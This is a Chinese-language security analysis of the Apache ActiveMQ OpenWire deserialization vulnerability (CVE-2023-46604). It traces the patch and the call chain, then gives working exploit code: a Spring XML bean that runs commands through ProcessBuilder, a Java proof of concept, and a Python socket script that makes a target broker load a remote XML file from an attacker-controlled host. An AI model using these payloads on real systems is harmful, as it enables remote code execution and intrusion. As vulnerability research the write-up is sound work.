Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
分析补丁内容
查看官方补丁内容
Merge pull request #1098 from cshannon/openwire-throwable-fix · apache/activemq@80089f9 · GitHub
package org.apache.activemq.openwire;public class OpenWireUtil {/*** Verify that the provided class extends {@link Throwable} and throw an* {@link IllegalArgumentException} if it does not.** @param clazz*/public static void validateIsThrowable(Class<?> clazz) {if (!Throwable.class.isAssignableFrom(clazz)) {throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");}}
}
这个方法用于验证给定的类是否是 Throwable 的子类,如果不是,则抛出 IllegalArgumentException 异常。
调用的地方
public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {@@ -229,8 +230,11 @@ protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInputprivate Throwable createThrowable(String className, String message) {try {Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
+ OpenWireUtil.validateIsThrowable(clazz);Constructor constructor = clazz.getConstructor(new Class[] {String.class});return (Throwable)constructor.newInstance(new Object[] {message});
+ } catch (IllegalArgumentException e) {
+ return e;} catch (Throwable e) {return new Throwable(className + ": " + message);}
在 Apache ActiveMQ 中,
BaseDataStreamMarshaller
是用于序列化和反序列化消息数据流的基础类之一。它是 ActiveMQ 的序列化框架中的一个重要组成部分,用于将消息对象转换为字节流以便在网络上传输,并在接收端将字节流还原为消息对象。
在 Apache ActiveMQ 中,
Throwable
类通常用于表示可能出现的错误或异常情况。当代码执行过程中出现异常时,可以创建Throwable
类的实例来表示这个异常,并通过抛出或捕获异常来进行相应的处理。
Class.forName(String className, boolean initialize, ClassLoader loader)
:这个重载形式允许指定是否初始化类以及类加载器。
-
className
:要加载的类的全限定名。 -
initialize
:一个布尔值,表示是否初始化类。如果为true
,则会执行类的静态代码块,如果为false
,则不会执行静态代码块。一般情况下,建议设置为true
。 -
loader
:一个类加载器对象,用于指定加载类的类加载器。如果不指定,则使用调用者的类加载器。
看样子!之前的版本没有检查clazz 属于什么类便实例化了该对象。任意类加载实例化 还有构造参数。
分析调用链
右键find useages - createThrowable
跟进其中一个looseUnmarsalThrowable进行分析
protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)throws IOException {if (dataIn.readBoolean()) {String clazz = looseUnmarshalString(dataIn);String message = looseUnmarshalString(dataIn);Throwable o = createThrowable(clazz, message);if (wireFormat.isStackTraceEnabled()) {if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];for (int i = 0; i < ss.length; i++) {try {ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR.newInstance(new Object[] {looseUnmarshalString(dataIn),looseUnmarshalString(dataIn),looseUnmarshalString(dataIn),Integer.valueOf(dataIn.readInt())});} catch (IOException e) {throw e;} catch (Throwable e) {}}o.setStackTrace(ss);} else {short size = dataIn.readShort();for (int i = 0; i < size; i++) {looseUnmarshalString(dataIn);looseUnmarshalString(dataIn);looseUnmarshalString(dataIn);dataIn.readInt();}}o.initCause(looseUnmarsalThrowable(wireFormat, dataIn));
}return o;} else {return null;}
}
在 Apache ActiveMQ 中,
looseUnmarshalThrowable
是一个内部方法,用于处理消息的解组(unmarshal)过程中可能出现的异常情况。该方法通常用于在消息传递或序列化过程中尝试恢复消息的内容,以防止丢失信息。
String clazz = looseUnmarshalString(dataIn);
这行代码通过调用looseUnmarshalString
方法从dataIn
数据流中读取异常的类名,并将其存储在名为clazz
的字符串变量中。looseUnmarshalString
方法的作用是从数据流中解析出一个字符串值,然后返回该字符串值。
String message = looseUnmarshalString(dataIn);
这行代码类似于第一行,它也通过调用looseUnmarshalString
方法从dataIn
数据流中读取异常的消息,并将其存储在名为message
的字符串变量中。
继续分析looseUnmarsalThrowable的调用
右键find useages - looseUnmarsalThrowable
跟进其中一个ExceptionResponseMarshaller进行分析
/*** Un-marshal an object instance from the data input stream** @param o the object to un-marshal* @param dataIn the data input stream to build the object from* @throws IOException*/
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {super.looseUnmarshal(wireFormat, o, dataIn);
ExceptionResponse info = (ExceptionResponse)o;info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
}
继续向上分析looseUnmarshal 的调用
右键find useages - looseUnmarshal 这里有点多慢慢分析...
最终找到一个doUnmarshal的方法
public Object doUnmarshal(DataInput dis) throws IOException {byte dataType = dis.readByte();if (dataType != NULL_TYPE) {DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];if (dsm == null) {throw new IOException("Unknown data type: " + dataType);}Object data = dsm.createObject();if (this.tightEncodingEnabled) {BooleanStream bs = new BooleanStream();bs.unmarshal(dis);dsm.tightUnmarshal(this, data, dis, bs);} else {dsm.looseUnmarshal(this, data, dis);}return data;} else {return null;}
}
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
这行代码的作用是从名为dataMarshallers
的数组中获取与数据类型对应的DataStreamMarshaller
对象,并将其赋值给变量dsm
。这里使用了位运算符&
来确保dataType
的值在合法范围内(0 到 255),因为数组索引通常要求是非负整数,通过dataType & 0xFF
可以将dataType
转换为 0 到 255 之间的值,以便在数组中进行查找。
这里我们需要做如下考虑
1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31
2,this.tightEncodingEnabled 成立
继续分析doUnmarshal的调用
右键find useages - doUnmarshal
来到unmarshal 方法
@Override
public Object unmarshal(DataInput dis) throws IOException {DataInput dataIn = dis;if (!sizePrefixDisabled) {int size = dis.readInt();if (maxFrameSizeEnabled && size > maxFrameSize) {throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);}// int size = dis.readInt();// byte[] data = new byte[size];// dis.readFully(data);// bytesIn.restart(data);// dataIn = bytesIn;}return doUnmarshal(dataIn);
}
继续向上
右键find useages - unmarshal
来到readCommand()
protected Object readCommand() throws IOException {return wireFormat.unmarshal(dataIn);
}
readCommand()<—doRun()<—run()
protected void doRun() throws IOException {try {Object command = readCommand();doConsume(command);} catch (SocketTimeoutException e) {} catch (InterruptedIOException e) {}
}
@Override
public void run() {LOG.trace("TCP consumer thread for " + this + " starting");this.runnerThread=Thread.currentThread();try {while (!isStopped() && !isStopping()) {doRun();}} catch (IOException e) {stoppedLatch.get().countDown();onException(e);} catch (Throwable e){stoppedLatch.get().countDown();IOException ioe=new IOException("Unexpected error occurred: " + e);ioe.initCause(e);onException(ioe);}finally {stoppedLatch.get().countDown();}
}
至此调用链分析就结束了
要想成功加载恶意类,控制dataIn中的数据即可,
如何制造我们想要的序列化数据呢?
既然有readCommand,那么就会有writeCommand
参考下同类下的oneway方法
@Override
public void oneway(Object command) throws IOException {checkStarted();wireFormat.marshal(command, dataOut);dataOut.flush();
}
有兴趣的话可以分析producer.send(message);是如何到达oneway方法的
在 Apache ActiveMQ 中,当调用
producer.send(message)
发送消息时,消息的发送过程经过了几个步骤,最终会触发oneway
方法。
producer.send(message)
:这是消息生产者发送消息的方法调用。在 ActiveMQ 中,消息生产者通过调用这个方法将消息发送到目标队列或主题。在 ActiveMQ 的内部实现中,
send
方法会触发消息发送逻辑,该逻辑可能涉及到消息的封装、路由、传输等过程,具体取决于 ActiveMQ 的配置和使用方式。最终,消息将会被封装成一个命令对象,这个命令对象可能是一个
ProducerInfo
或者其他与消息发送相关的命令对象。接着,封装好的命令对象会被传递给底层的传输层,这个传输层可能是通过 TCP、HTTP 或其他协议进行通信。
在传输层中,消息会经过序列化(将消息对象转换为字节流)和网络传输的过程。
最终,消息到达了消息代理(broker),并被处理。在消息代理中,可能会调用
oneway
方法来处理接收到的命令对象,并执行相应的操作,比如存储消息、转发消息等。因此,整个过程是从消息生产者的
send
方法开始,经过消息封装、传输、消息代理处理,最终到达了oneway
方法。这个过程涉及了消息传输和处理的多个环节,在 ActiveMQ 内部都有相应的逻辑来处理消息的发送和接收。
我们可以直接获取oneway方法,并且传入exceptionResponse
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
什么对象可以被利用呢,这里给一个参考
org.springframework.context.support.ClassPathXmlApplicationContext
ClassPathXmlApplicationContext 可以创建bean 可以造成命令执行,如下给出示例
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>touch</value><value>/tmp/activeMQ-RCE-success</value></list></constructor-arg></bean>
</beans>
ClassPathXmlApplicationContext支持网络远程加载,类似这样加载\http://xxxxx.xml 加载到容器里。
构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{ private String message; public ClassPathXmlApplicationContext(String message) { this.message = message; }
@Override public String getMessage() { return message; }
}
之后用ExceptionResponse封装这个类
public class ExceptionResponse extends Response {
public static final byte DATA_STRUCTURE_TYPE = CommandTypes.EXCEPTION_RESPONSE;
Throwable exception;
public ExceptionResponse(Throwable e) {setException(e);}
....
}
有如下生成恶意序列化的代码demo
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.AbstractInactivityMonitor;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.\*;
import java.io.\*;
import java.lang.reflect.Method;
public class MQ\_POC { private static final String *ACTIVEMQ\_URL* \= "tcp://172.20.10.7:61616"; //定义发送消息的队列名称 private static final String *QUEUE\_NAME* \= "tempQueue"; public static void main(String\[\] args) throws Exception { //创建连接工厂 ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*); //创建连接 Connection connection = activeMQConnectionFactory.createConnection(); //打开连接 connection.start(); Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml"); ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse); connection.close(); }
}
或者使用其他形式生成 序列化数据
import io
import socket
import sys
def main(ip, port, xml):classname = "org.springframework.context.support.ClassPathXmlApplicationContext"socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_obj.connect((ip, port))
with socket_obj:out = socket_obj.makefile('wb')# out = io.BytesIO() # 创建一个内存中的二进制流out.write(int(32).to_bytes(4, 'big'))out.write(bytes([31]))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(classname).to_bytes(2, 'big'))out.write(classname.encode('utf-8'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(xml).to_bytes(2, 'big'))out.write(xml.encode('utf-8'))# print(list(out.getvalue()))out.flush()out.close()
if __name__ == "__main__":if len(sys.argv) != 4:print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 ""http://192.168.0.101:8888/poc.xml")exit(-1)main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
参考链接
vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhub · GitHubPre-Built Vulnerable Environments Based on Docker-Compose - vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhubhttps://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md
奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)https://forum.butian.net/share/2566